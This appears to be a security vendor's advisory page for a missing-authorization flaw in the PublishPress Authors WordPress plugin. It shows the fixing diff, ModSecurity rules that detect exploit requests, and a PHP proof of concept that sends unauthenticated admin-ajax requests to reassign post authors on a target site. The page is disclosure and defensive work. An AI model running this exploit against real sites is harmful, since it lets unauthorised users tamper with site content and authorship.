+                                <option value="<?php echo esc_attr($key); ?>"
+                                    <?php selected(in_array($key, $selected_values), true); ?>>
+                                    <?php echo esc_html($label); ?>
+                                </option>
+                            <?php
+                            endforeach;
+                        endif; ?>
+                    </select>
+                <?php
                 elseif ('multiselect_pro' === $args['type']) :
                     $selected_values = is_array($args['value']) ? $args['value'] : [];
                     $field_name = $pro_active ? $key : 'promo_dummy';
--- a/publishpress-authors/src/modules/author-boxes/classes/AuthorBoxesAjax.php
+++ b/publishpress-authors/src/modules/author-boxes/classes/AuthorBoxesAjax.php
@@ -237,6 +237,7 @@

 $authors            = $ppma_template_authors;
 $author_counts      = count($authors);
+$global_author_index = 0;
 $post_id = isset($ppma_template_authors_post->ID) ? $ppma_template_authors_post->ID : $post->ID;
 //Group author by categories
 $author_categories_data = ppma_get_grouped_post_authors($post_id, $authors);
@@ -298,6 +299,19 @@
         }
     endforeach;
 }
+
+// Check display position setting
+$display_position = !empty($args['author_bio_display_position']['value'])
+    ? $args['author_bio_display_position']['value']
+    : 'all';
+
+// Check if bio should be hidden for author categories
+$hide_for_categories = '';
+if (!empty($args['author_bio_hide_categories']['value'])) {
+$hide_for_categories = is_array($args['author_bio_hide_categories']['value']) ? $args['author_bio_hide_categories']['value'] : [];
+$hide_for_categories = "'" . implode("','", $hide_for_categories) . "'";
+}
+$hide_for_categories_string = "[$hide_for_categories]";
 ?>

 <<?php echo ($li_style ? 'div' : 'span'); ?> class="<?php echo $body_class; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>">
@@ -569,11 +583,29 @@
 endif ?>
 <?php echo $name_row_extra ; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
 <?php if ($args['author_bio_show']['value']) : ?>
+
+    </?php
+    $should_show_bio = true;
+    if ('<?php echo $display_position; ?>' !== 'all') {
+        if ('<?php echo $display_position; ?>' === 'first' && $global_author_index !== 0) {
+            $should_show_bio = false;
+        } elseif ('<?php echo $display_position; ?>' === 'last' && $global_author_index !== $author_counts - 1) {
+            $should_show_bio = false;
+        }
+    }
+
+    // Then check category override
+    if ($should_show_bio && !empty(<?php echo $hide_for_categories_string; ?>) && in_array($author_category_data['id'], <?php echo $hide_for_categories_string; ?>)) {
+        $should_show_bio = false;
+    }
+    if ($should_show_bio) :
+    ?>
                             <<?php echo esc_html($args['author_bio_html_tag']['value']); ?> class="pp-author-boxes-description multiple-authors-description author-description-</?php echo esc_attr($index); ?>">
 <?php if ($args['author_bio_link']['value']) : ?><a href="</?php echo esc_url($author->link); ?>" title="</?php echo esc_attr__('Author', 'publishpress-authors'); ?>"><?php endif; ?>
                                 </?php echo wpautop($author->get_description(<?php echo esc_html($args['author_bio_limit']['value']); ?>)); ?>
 <?php if ($args['author_bio_link']['value']) : ?></a><?php endif; ?>
                             </<?php echo esc_html($args['author_bio_html_tag']['value']); ?>>
+    </?php endif; ?>
 <?php endif; ?>
                             <?php echo $bio_row_extra ; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>

@@ -625,6 +657,7 @@
 <?php if ($li_style) : ?>
                 </li>
 <?php endif; ?>
+</?php $global_author_index++; ?>
             </?php endforeach; ?>
         </?php endif; ?>
 <?php if ($li_style) : ?>
--- a/publishpress-authors/src/modules/author-boxes/classes/AuthorBoxesDefault.php
+++ b/publishpress-authors/src/modules/author-boxes/classes/AuthorBoxesDefault.php
@@ -237,7 +237,7 @@
         // x default
         $editor_data['profile_fields_x_html_tag'] = 'a';
         $editor_data['profile_fields_x_display'] = 'icon';
-        $editor_data['profile_fields_x_display_icon'] = '<span class="dashicons dashicons-twitter"></span>';
+        $editor_data['profile_fields_x_display_icon'] = '<i class="fab fa-x-twitter"></i>';
         $editor_data['profile_fields_x_display_icon_background_color'] = '#655997';
         $editor_data['profile_fields_x_color'] = '#ffffff';
         $editor_data['profile_fields_x_display_icon_border_radius'] = 100;
--- a/publishpress-authors/src/modules/author-boxes/classes/AuthorBoxesEditorFields.php
+++ b/publishpress-authors/src/modules/author-boxes/classes/AuthorBoxesEditorFields.php
@@ -1068,6 +1068,18 @@
         return $options;
     }

+    private static function getAuthorCategoriesOptions()
+    {
+        $categories = get_ppma_author_categories(['category_status' => 1]);
+        $options = [];
+
+        foreach ($categories as $category) {
+            $options[$category['id']] = $category['category_name'];
+        }
+
+        return $options;
+    }
+
     /**
      * Add bio fields to the author boxes editor.
      *
@@ -1082,6 +1094,25 @@
             'sanitize'    => 'absint',
             'tab'         => 'author_bio',
         ];
+        $fields['author_bio_display_position'] = [
+            'label'    => esc_html__('Display Biographical Info For', 'publishpress-authors'),
+            'type'     => 'select',
+            'sanitize' => 'sanitize_text_field',
+            'options'  => [
+                'all'   => esc_html__('All Authors', 'publishpress-authors'),
+                'first' => esc_html__('First Author Only', 'publishpress-authors'),
+                'last'  => esc_html__('Last Author Only', 'publishpress-authors'),
+            ],
+            'tab'      => 'author_bio',
+        ];
+        $fields['author_bio_hide_categories'] = [
+            'label'    => esc_html__('Hide Biographic for user in Author Categories', 'publishpress-authors'),
+            'placeholder' => esc_html__('Select Author Categories...', 'publishpress-authors'),
+            'type'     => 'multiselect',
+            'sanitize' => 'sanitize_text_field',
+            'options'  => self::getAuthorCategoriesOptions(),
+            'tab'      => 'author_bio',
+        ];
         $fields['author_bio_link'] = [
             'label'       => esc_html__('Enable Biographical Link', 'publishpress-authors'),
             'type'        => 'checkbox',
--- a/publishpress-authors/src/modules/author-categories/author-categories.php
+++ b/publishpress-authors/src/modules/author-categories/author-categories.php
@@ -259,7 +259,7 @@
             $schema_property = isset($_POST['schema_property']) ? sanitize_text_field($_POST['schema_property']) : '';
             $post_types = isset($_POST['post_types']) && is_array($_POST['post_types']) ? array_map('sanitize_text_field', $_POST['post_types']) : [];
             $enabled_category = isset($_POST['enabled_category']) ? intval($_POST['enabled_category']) : 0;
-            $slug = sanitize_title($category_name);
+            $slug = ppma_generate_slug($category_name);

             if (empty($category_name)) {
                 $response_message = esc_html__(
@@ -348,7 +348,7 @@
             $post_types = isset($_POST['post_types']) && is_array($_POST['post_types']) ? array_map('sanitize_text_field', $_POST['post_types']) : [];
             $category_status = isset($_POST['enabled_category']) ? intval($_POST['enabled_category']) : 0;
             $category_id = isset($_POST['category_id']) ? intval($_POST['category_id']) : 0;
-            $slug = sanitize_title($category_name);
+            $slug = ppma_generate_slug($category_name);
             $existing_category = get_ppma_author_categories(['slug' => $slug]);
             if (empty($category_name) || empty($plural_name) || empty($category_id)) {
                 wp_die(esc_html__(
--- a/publishpress-authors/src/modules/author-custom-fields/author-custom-fields.php
+++ b/publishpress-authors/src/modules/author-custom-fields/author-custom-fields.php
@@ -431,6 +431,22 @@

         $metabox->add_field(
             [
+                'name' => __('Show in REST API', 'publishpress-authors'),
+                'id' => self::META_PREFIX . 'show_in_rest',
+                'type' => 'select',
+                'options' => [
+                    'on' => __('Yes', 'publishpress-authors'),
+                    'off' => __('No', 'publishpress-authors'),
+                ],
+                'desc' => __(
+                    'Control whether this field is included in REST API responses.',
+                    'publishpress-authors'
+                ),
+            ]
+        );
+
+        $metabox->add_field(
+            [
                 'name' => __('Open Link in New Tab', 'publishpress-authors'),
                 'id' => self::META_PREFIX . 'target',
                 'type' => 'checkbox',
@@ -530,6 +546,7 @@
                         'target'        => self::getFieldMeta($post->ID, 'target'),
                         'field_status' => self::getFieldMeta($post->ID, 'field_status'),
                         'requirement' => self::getFieldMeta($post->ID, 'requirement'),
+                        'show_in_rest' => self::getFieldMeta($post->ID, 'show_in_rest'),
                         'description' => self::getFieldMeta($post->ID, 'description'),
                         'post_id'     => $post->ID,
                     ];
@@ -895,6 +912,7 @@
         update_post_meta($post_id, self::META_PREFIX . 'slug', $data['post_name']);
         update_post_meta($post_id, self::META_PREFIX . 'type', $data['type']);
         update_post_meta($post_id, self::META_PREFIX . 'field_status', $data['field_status']);
+        update_post_meta($post_id, self::META_PREFIX . 'show_in_rest', isset($data['show_in_rest']) ? $data['show_in_rest'] : 'on');
         update_post_meta($post_id, self::META_PREFIX . 'requirement', isset($data['requirement']) ? $data['requirement'] : '' );
         update_post_meta($post_id, self::META_PREFIX . 'social_profile', isset($data['social_profile']) ? $data['social_profile'] : '' );
         update_post_meta($post_id, self::META_PREFIX . 'schema_property', isset($data['schema_property']) ? $data['schema_property'] : '' );
@@ -932,6 +950,7 @@
             'post_name'    => 'user_email',
             'type'         => 'email',
             'field_status'  => 'on',
+            'show_in_rest'  => 'off',
             'description'  => '',
         ];
         //add user url
--- a/publishpress-authors/src/modules/rank-math-seo-integration/rank-math-seo-integration.php
+++ b/publishpress-authors/src/modules/rank-math-seo-integration/rank-math-seo-integration.php
@@ -123,7 +123,7 @@
         }

         /**
-         * Add support for structured data for author terms
+         * Add support for structured data for author terms
          * in Rank Math Seo plugin.
          *
          * @param $output
@@ -160,7 +160,7 @@
         }

         /**
-         * Add support for structured data for post multiple authors
+         * Add support for structured data for post multiple authors
          * in Rank Math Seo plugin.
          *
          * @param $output
@@ -198,41 +198,60 @@
                             }
                         }
                     }
-
+
                     if (isset($data['richSnippet'])) {
                         $data['richSnippet']['author'] = $profile_page_authors;
                     }
                     $data['ProfilePage'] = $author_profile_data;

-                    /**
-                     * I still don't understand why publisher shouldn't be replaced in case of Guest author
-                     * for NewsArticle but here's the issue that warrant the update https://github.com/publishpress/PublishPress-Authors/issues/1901
-                     */
-                    if (isset($data['publisher']) && !empty($data['richSnippet']['@type']) && $data['richSnippet']['@type'] !== 'NewsArticle') {
-                        $data_publisher = $data['publisher'];
-                        if (isset($author_profile_data['@name'])) {
-                            $data_publisher['name'] = $author_profile_data['@name'];
-                        } elseif (isset($author_profile_data['name'])) {
-                            $data_publisher['name'] = $author_profile_data['name'];
-                        }
-                        if (isset($author_profile_data['sameAs'])) {
-                            $data_publisher['sameAs'] = $author_profile_data['sameAs'];
-                        }
-
-                        if (isset($author_profile_data['@image'])) {
-                            if (isset($data_publisher['image'])) {
-                                $data_publisher['image'] = $author_profile_data['@image'];
-                            } elseif (isset($data_publisher['logo'])) {
-                                $data_publisher['logo'] = $author_profile_data['@image'];
-                            }
-                        } elseif (isset($author_profile_data['image'])) {
-                            if (isset($data_publisher['image'])) {
-                                $data_publisher['image'] = $author_profile_data['image'];
-                            } elseif (isset($data_publisher['logo'])) {
-                                $data_publisher['logo'] = $author_profile_data['image'];
+                    if (isset($data['publisher']) && !empty($data['richSnippet']['@type'])) {
+
+                        $publisherTypes = [];
+                        $richSnippetType = [];
+                        if (isset($data['publisher']['@type'])) {
+                            $publisherTypes = (array) $data['publisher']['@type'];
+                        }
+                        if (isset($data['richSnippet']['@type'])) {
+                            $richSnippetType = (array) $data['richSnippet']['@type'];
+                        }
+
+                        // #2196 - Never override Organization publisher with Person data
+                        // #1901 - Do not override publisher for NewsArticle
+                        $canUpdate = false;
+                        if (
+                            count($publisherTypes) === 1
+                            && in_array('Person', $publisherTypes, true)
+                            && !in_array('NewsArticle', $richSnippetType, true)
+                        ) {
+                            $canUpdate = true;
+                        }
+
+                        if ($canUpdate) {
+                            $data_publisher = $data['publisher'];
+                            if (isset($author_profile_data['@name'])) {
+                                $data_publisher['name'] = $author_profile_data['@name'];
+                            } elseif (isset($author_profile_data['name'])) {
+                                $data_publisher['name'] = $author_profile_data['name'];
+                            }
+                            if (isset($author_profile_data['sameAs'])) {
+                                $data_publisher['sameAs'] = $author_profile_data['sameAs'];
+                            }
+
+                            if (isset($author_profile_data['@image'])) {
+                                if (isset($data_publisher['image'])) {
+                                    $data_publisher['image'] = $author_profile_data['@image'];
+                                } elseif (isset($data_publisher['logo'])) {
+                                    $data_publisher['logo'] = $author_profile_data['@image'];
+                                }
+                            } elseif (isset($author_profile_data['image'])) {
+                                if (isset($data_publisher['image'])) {
+                                    $data_publisher['image'] = $author_profile_data['image'];
+                                } elseif (isset($data_publisher['logo'])) {
+                                    $data_publisher['logo'] = $author_profile_data['image'];
+                                }
                             }
+                            $data['publisher']       = $data_publisher;
                         }
-                        $data['publisher']       = $data_publisher;
                     }

                     //replace author at every possible location
@@ -240,7 +259,7 @@
                         if (isset($details['author'])) {
                             $data[$index]['author'] = $publisher_profile_page_authors;
                         }
-
+
                         // add author category schema property
                         if ($index == 'WebPage') {
                             $author_categorized = false;
@@ -281,7 +300,7 @@
          */
         protected function add_author_schema_property($data, $author)
         {
-
+
             $author_fields = get_posts(
                 [
                     'post_type' => PPAuthorFields::POST_TYPE_CUSTOM_FIELDS,
@@ -311,13 +330,13 @@
                     ],
                 ]
             );
-
+
             $same_as_urls = [];
-
+
             if (! empty($author->user_url)) {
                 $same_as_urls[] = $author->user_url;
             }
-
+
             if (!empty($author_fields)) {
                 foreach ($author_fields as $author_field) {

@@ -344,13 +363,13 @@
                     }
                 }
             }
-
+
             // When CAP adds it, add the social profiles here.
             if (! empty($same_as_urls)) {
                 $same_as_urls   = array_values(array_unique($same_as_urls));
                 $data['sameAs'] = $same_as_urls;
             }
-
+
             return $data;
         }
     }
--- a/publishpress-authors/src/modules/rest-api/rest-api.php
+++ b/publishpress-authors/src/modules/rest-api/rest-api.php
@@ -221,7 +221,7 @@
             $authors_fields = apply_filters('multiple_authors_author_fields', $authors_fields, false);
             $authors_fields = array_keys($authors_fields);

-            $excluded_fields = ['user_id', 'user_email', 'avatar'];
+            $excluded_fields = ['user_id', 'avatar'];
             $excluded_fields = apply_filters('ppma_rest_api_authors_meta_excluded_fields', $excluded_fields);

             foreach ($authors as $author) {
@@ -245,11 +245,14 @@
                 ];

                 //add other fields
-                foreach ($authors_fields as $authors_field) {
-                    if (in_array($authors_field, $excluded_fields)) {
+                foreach ($authors_fields as $field_name => $field_config) {
+                    if (in_array($field_name, $excluded_fields)) {
                         continue;
                     }
-                    $currentAuthorData[$authors_field] = $author->$authors_field;
+                    if (isset($field_config['show_in_rest']) && $field_config['show_in_rest'] === 'off') {
+                        continue;
+                    }
+                    $currentAuthorData[$field_name] = $author->$field_name;
                 }

                 $authorsData[] = $currentAuthorData;
@@ -578,11 +581,18 @@
                 'edit_link' => get_edit_term_link($author->term_id, 'author')
             ];

-            // Add all author fields to response
+            // Add only fields with show_in_rest enabled
             foreach (array_keys($available_fields) as $field_name) {
-                if (!in_array($field_name, ['user_id', 'avatar'])) {
-                    $response_data[$field_name] = $author->$field_name;
+                if (in_array($field_name, ['user_id', 'avatar'])) {
+                    continue;
                 }
+
+                $field_config = $available_fields[$field_name];
+                if (isset($field_config['show_in_rest']) && $field_config['show_in_rest'] === 'off') {
+                    continue;
+                }
+
+                $response_data[$field_name] = $author->$field_name;
             }

             return new WP_REST_Response($response_data, $status_code);
--- a/publishpress-authors/src/templates/parts/author-pages-grid.php
+++ b/publishpress-authors/src/templates/parts/author-pages-grid.php
@@ -44,15 +44,15 @@

 $featured_image_style      = '';
 if ($author_post_custom_width > 0) {
-    $featured_image_style  .= 'width: '.$author_post_custom_width.'px;';
+    $featured_image_style  .= 'width: '.$author_post_custom_width.'px;';
 }
 if ($author_post_custom_height > 0) {
-    $featured_image_style  .= 'height: '.$author_post_custom_height.'px;';
+    $featured_image_style  .= 'height: '.$author_post_custom_height.'px;';
 }
 ?>
 <div class="ppma-author-pages site-main alignwide has-global-padding">
     <div class="ppma-page-header">
-        <?php
+        <?php
         if ($show_author_page_title) {
             the_archive_title('<'.$author_pages_title_header.' class="ppma-page-title page-title">', '</'.$author_pages_title_header.'>');
         } ?>
@@ -70,6 +70,7 @@
         <?php if (have_posts()) : ?>
             <?php while ( have_posts() ) : the_post(); ?>
                     <?php
+                    $featured_image = '';
                     $featured_image_alt = '';
                     if (has_post_thumbnail()) {
                         $image_data = wp_get_attachment_image_src(get_post_thumbnail_id(), 'single-post-thumbnail');
--- a/publishpress-authors/src/templates/parts/author-pages-list.php
+++ b/publishpress-authors/src/templates/parts/author-pages-list.php
@@ -44,15 +44,15 @@

 $featured_image_style      = '';
 if ($author_post_custom_width > 0) {
-    $featured_image_style  .= 'width: '.$author_post_custom_width.'px;';
+    $featured_image_style  .= 'width: '.$author_post_custom_width.'px;';
 }
 if ($author_post_custom_height > 0) {
-    $featured_image_style  .= 'height: '.$author_post_custom_height.'px;max-height: '.$author_post_custom_height.'px;';
+    $featured_image_style  .= 'height: '.$author_post_custom_height.'px;max-height: '.$author_post_custom_height.'px;';
 }
 ?>
 <div class="ppma-author-pages site-main alignwide has-global-padding">
     <div class="ppma-page-header">
-        <?php
+        <?php
         if ($show_author_page_title) {
             the_archive_title('<'.$author_pages_title_header.' class="ppma-page-title page-title">', '</'.$author_pages_title_header.'>');
         } ?>
@@ -70,6 +70,7 @@
         <?php if (have_posts()) : ?>
             <?php while ( have_posts() ) : the_post(); ?>
                     <?php
+                    $featured_image = '';
                     $featured_image_alt = '';
                     if (has_post_thumbnail()) {
                         $image_data = wp_get_attachment_image_src(get_post_thumbnail_id(), 'single-post-thumbnail');
--- a/publishpress-authors/vendor/composer/installed.php
+++ b/publishpress-authors/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'publishpress/publishpress-authors',
-        'pretty_version' => 'v4.10.1',
-        'version' => '4.10.1.0',
-        'reference' => '15ab21a3de82f7db1be157475d4cb1cd5559697d',
+        'pretty_version' => 'v4.11.0',
+        'version' => '4.11.0.0',
+        'reference' => 'cc367a12ee093df4f9e42ce5f6e64cbf6b08ee5e',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'publishpress/publishpress-authors' => array(
-            'pretty_version' => 'v4.10.1',
-            'version' => '4.10.1.0',
-            'reference' => '15ab21a3de82f7db1be157475d4cb1cd5559697d',
+            'pretty_version' => 'v4.11.0',
+            'version' => '4.11.0.0',
+            'reference' => 'cc367a12ee093df4f9e42ce5f6e64cbf6b08ee5e',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-25309
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:100025309,phase:2,deny,status:403,chain,msg:'CVE-2026-25309 - PublishPress Authors Missing Authorization Exploit Attempt',severity:'CRITICAL',tag:'CVE-2026-25309',tag:'WordPress',tag:'Plugin/PublishPress-Authors'"
  SecRule ARGS_POST:action "@pm ppma_set_author ppma_quick_edit" 
    "chain,t:none"
    SecRule &ARGS_POST:post_ids "@eq 0" 
      "chain,t:none"
      SecRule &ARGS_POST:post_id "@eq 0" 
        "setvar:'tx.cve_2026_25309_score=+%{tx.critical_anomaly_score}',setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:100125309,phase:2,deny,status:403,chain,msg:'CVE-2026-25309 - PublishPress Authors Missing Authorization Exploit Attempt (Bulk)',severity:'CRITICAL',tag:'CVE-2026-25309',tag:'WordPress',tag:'Plugin/PublishPress-Authors'"
  SecRule ARGS_POST:action "@streq ppma_set_author" 
    "chain,t:none"
    SecRule ARGS_POST:post_ids "@rx d+" 
      "chain,t:none"
      SecRule ARGS_POST:authors "@rx d+" 
        "setvar:'tx.cve_2026_25309_score=+%{tx.critical_anomaly_score}',setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:100225309,phase:2,deny,status:403,chain,msg:'CVE-2026-25309 - PublishPress Authors Missing Authorization Exploit Attempt (Quick Edit)',severity:'CRITICAL',tag:'CVE-2026-25309',tag:'WordPress',tag:'Plugin/PublishPress-Authors'"
  SecRule ARGS_POST:action "@streq ppma_quick_edit" 
    "chain,t:none"
    SecRule ARGS_POST:post_id "@rx d+" 
      "chain,t:none"
      SecRule ARGS_POST:author "@rx d+" 
        "setvar:'tx.cve_2026_25309_score=+%{tx.critical_anomaly_score}',setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25309 - Co-Authors, Multiple Authors and Guest Authors in an Author Box with PublishPress Authors <= 4.10.1 - Missing Authorization

<?php

$target_url = 'https://vulnerable-site.com';

// Bulk author assignment exploit
function exploit_bulk_author_assignment($target_url) {
    $ajax_url = $target_url . '/wp-admin/admin-ajax.php';
    
    // Target post IDs to modify (adjust based on target site)
    $post_ids = [1, 2, 3];
    
    // Author IDs to assign (adjust based on target site)
    $author_ids = [2]; // Typically user ID 2 is the first non-admin user
    
    $post_data = [
        'action' => 'ppma_set_author',
        'fallback_user_id' => 1,
        'author_categories' => ''
    ];
    
    // Add post IDs
    foreach ($post_ids as $index => $post_id) {
        $post_data['post_ids[' . $index . ']'] = $post_id;
    }
    
    // Add author IDs
    foreach ($author_ids as $index => $author_id) {
        $post_data['authors[' . $index . ']'] = $author_id;
    }
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "Bulk Assignment Response (HTTP $http_code):n";
    echo $response . "nn";
    
    return $response;
}

// Quick edit individual post exploit
function exploit_quick_edit($target_url) {
    $ajax_url = $target_url . '/wp-admin/admin-ajax.php';
    
    $post_data = [
        'action' => 'ppma_quick_edit',
        'post_id' => 1, // Target post ID
        'author' => 2,  // New author ID
        'fallback_user_id' => 1
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "Quick Edit Response (HTTP $http_code):n";
    echo $response . "nn";
    
    return $response;
}

// Execute exploits
echo "=== CVE-2026-25309 Proof of Concept ===n";
echo "Target: $target_urlnn";

// Test bulk assignment
echo "1. Testing bulk author assignment...n";
exploit_bulk_author_assignment($target_url);

// Test quick edit
echo "2. Testing quick edit author assignment...n";
exploit_quick_edit($target_url);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School